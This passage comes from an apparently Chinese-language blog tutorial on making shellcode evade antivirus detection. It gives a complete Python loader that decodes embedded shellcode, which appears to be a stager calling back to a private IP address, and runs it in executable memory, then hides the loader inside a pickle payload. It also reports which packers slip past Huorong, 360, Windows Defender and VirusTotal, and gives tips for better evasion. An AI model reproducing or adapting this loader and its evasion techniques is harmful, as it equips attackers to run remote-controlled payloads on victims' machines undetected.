shellcode = b'/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulPXWoASb53aW5pbmV0AEFWSYnmTInxQbpMdyYH/9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn/9XpkwAAAFpIicFBuFwRAABNMclBUUFRagNBUUG6V4mfxv/V63lbSInBSDHSSYnYTTHJUmgAMsCEUlJBuutVLjv/1UiJxkiDw1BqCl9IifG6HwAAAGoAaIAzAABJieBBuQQAAABBunVGnob/1UiJ8UiJ2knHwP9NMclSUkG6LQYYe//VhcAPhZ0BAABI/88PhIwBAADrs+nkAQAA6IL///8valBJWgClFotnXf1p8dzhYkmK7NxjP2RkPvg+C0UxrUtitw4eLi9kcuUKs3+W8TwnINwLWK9t0Z2PQ3m2lX1C7vLgJY97+ElsGmNh5vaZAFVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChjb21wYXRpYmxlOyBNU0lFIDkuMDsgV2luZG93cyBOVCA2LjE7IFRyaWRlbnQvNS4wOyA7IE5DTElFTlQ1MF9BQVBDREE1ODQxRTMzMykNCgCrCIUfVDSFZAU9RTZup/p0k3cn0DiUdzuDYPE4iU35BbTZdoFrFllaWlwpg02D109oTqdJyKf9pWdpaZVA1fH5gzunQBu9kUGBPzjZOua7GB5dBYQnV/m6sJPcCXEErkNCnAfylcGIUzbS19XAlC3IfyyOFTnz3C9LPD40MfFxb+plg/1D5BU7T0hVs2WDhXHAFDlRm+1ppxFM3ZQ8VhfvcXHLacJrC68fZqe7ild9xZixFSKqaC24ofQkgXaqZTNaPQhwGgBBvvC1olb/1UgxyboAAEAAQbgAEAAAQblAAAAAQbpYpFPl/9VIk1NTSInnSInxSInaQbgAIAAASYn5QboSloni/9VIg8QghcB0tmaLB0gBw4XAdddYWFhIBQAAAABQw+h//f//MTkyLjE2OC4xNDUuMTcxADreaLE='
shellcode = base64.b64decode(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode),0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0,0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
'''
class A(object):
def __reduce__(self):
return (exec, (shellcode,))
#创建对象
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret) #再base64加密一下
print(ret_base64)
执行代码
import base64,pickle,ctypes
shellcode=b'gASVvQYAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFieBgAACnNoZWxsY29kZSA9IGInL0VpRDVQRG95QUFBQUVGUlFWQlNVVlpJTWRKbFNJdFNZRWlMVWhoSWkxSWdTSXR5VUVnUHQwcEtUVEhKU0RIQXJEeGhmQUlzSUVIQnlRMUJBY0hpN1ZKQlVVaUxVaUNMUWp4SUFkQm1nWGdZQ3dKMWNvdUFpQUFBQUVpRndIUm5TQUhRVUl0SUdFU0xRQ0JKQWREalZrai95VUdMTkloSUFkWk5NY2xJTWNDc1FjSEpEVUVCd1RqZ2RmRk1BMHdrQ0VVNTBYWFlXRVNMUUNSSkFkQm1RWXNNU0VTTFFCeEpBZEJCaXdTSVNBSFFRVmhCV0Y1WldrRllRVmxCV2tpRDdDQkJVdi9nV0VGWldraUxFdWxQLy8vL1hXb0FTYjUzYVc1cGJtVjBBRUZXU1lubVRJbnhRYnBNZHlZSC85VklNY2xJTWRKTk1jQk5NY2xCVUVGUVFibzZWbm1uLzlYcGt3QUFBRnBJaWNGQnVGd1JBQUJOTWNsQlVVRlJhZ05CVVVHNlY0bWZ4di9WNjNsYlNJbkJTREhTU1luWVRUSEpVbWdBTXNDRVVsSkJ1dXRWTGp2LzFVaUp4a2lEdzFCcUNsOUlpZkc2SHdBQUFHb0FhSUF6QUFCSmllQkJ1UVFBQUFCQnVuVkdub2IvMVVpSjhVaUoya25Id1AvLy8vOU5NY2xTVWtHNkxRWVllLy9WaGNBUGhaMEJBQUJJLzg4UGhJd0JBQURycytua0FRQUE2SUwvLy84dmFsQkpXZ0NsRm90blhmMXA4ZHpoWWttSzdOeGpQMlJrUHZnK0MwVXhyVXRpdHc0ZUxpOWtjdVVLczMrVzhUd25JTndMV0s5dDBaMlBRM20ybFgxQzd2TGdKWTk3K0Vsc0dtTmg1dmFaQUZWelpYSXRRV2RsYm5RNklFMXZlbWxzYkdFdk5TNHdJQ2hqYjIxd1lYUnBZbXhsT3lCTlUwbEZJRGt1TURzZ1YybHVaRzkzY3lCT1ZDQTJMakU3SUZSeWFXUmxiblF2TlM0d095QTdJRTVEVEVsRlRsUTFNRjlCUVZCRFJFRTFPRFF4UlRNek15a05DZ0NyQ0lVZlZEU0ZaQVU5UlRadXAvcDBrM2NuMERpVWR6dURZUEU0aVUzNUJiVFpkb0ZyRmxsYVdsd3BnMDJEMTA5b1RxZEp5S2Y5cFdkcGFaVkExZkg1Z3p1blFCdTlrVUdCUHpqWk91YTdHQjVkQllRblYvbTZzSlBjQ1hFRXJrTkNuQWZ5bGNHSVV6YlMxOVhBbEMzSWZ5eU9GVG56M0M5TFBENDBNZkZ4YitwbGcvMUQ1QlU3VDBoVnMyV0RoWEhBRkRsUm0rMXBweEZNM1pROFZoZnZjWEhMYWNKckM2OGZacWU3aWxkOXhaaXhGU0txYUMyNG9mUWtnWGFxWlROYVBRaHdHZ0JCdnZDMW9sYi8xVWd4eWJvQUFFQUFRYmdBRUFBQVFibEFBQUFBUWJwWXBGUGwvOVZJazFOVFNJbm5TSW54U0luYVFiZ0FJQUFBU1luNVFib1Nsb25pLzlWSWc4UWdoY0IwdG1hTEIwZ0J3NFhBZGRkWVdGaElCUUFBQUFCUXcraC8vZi8vTVRreUxqRTJPQzR4TkRVdU1UY3hBRHJlYUxFPScKc2hlbGxjb2RlID0gYmFzZTY0LmI2NGRlY29kZShzaGVsbGNvZGUpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGU9Y3R5cGVzLmNfdWludDY0CnJ3eHBhZ2UgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYygwLCBsZW4oc2hlbGxjb2RlKSwweDEwMDAsIDB4NDApCmN0eXBlcy53aW5kbGwua2VybmVsMzIuUnRsTW92ZU1lbW9yeShjdHlwZXMuY191aW50NjQocnd4cGFnZSksY3R5cGVzLmNyZWF0ZV9zdHJpbmdfYnVmZmVyKHNoZWxsY29kZSksIGxlbihzaGVsbGNvZGUpKQpoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZCgwLCAwLCBjdHlwZXMuY191aW50NjQocnd4cGFnZSksIDAsIDAsMCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGhhbmRsZSwgLTEpCgqUhZRSlC4='
pickle.loads(base64.b64decode(shellcode))
一样编译成exe试试免杀效果。
pyinstaller
火绒免杀失败
360免杀失败
WD依旧检测不到
VT测试,有12个杀毒引擎检测到。
py2exe
火绒免杀失败
360免杀失败
WD还是没检测到
VT测试,有8个杀毒引擎检测到。
nuitk
能过火绒的静态检测,但是只要一执行就会被杀掉。
360暂时没检测到,可能等会才能检测到,也可能是免杀成功,我懒得等了。
WD就不用说了,啥也检测不到,没道理啊按理说WD是最强的。
VT测试,有13个杀毒引擎检测到。
六、总结
上面的测试可以看到想实现真正的免杀还是比较难的,因为上面我们使用的加密方式都是公开的,公开的东西想要实现免杀基本是很难的,或者说时效性短,可能这个公开的脚步今天能免杀成功,明天就不行了。除非是自己写的加密脚本,或者自己创造一个加密算法,这样子的免杀效果就会比较好。而且我们上面加载器,使用的分配内存用的VirtualAlloc 函数,早已经被国内几大厂商监控烂了,想要加强免杀效果只能用一下比较冷门的函数了。总的来说,就是对shellcode做文章嘛,让shellcode变成各种各样的数据形式以此来逃过静态免杀,最后在执行前还原shellcode就OK了。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。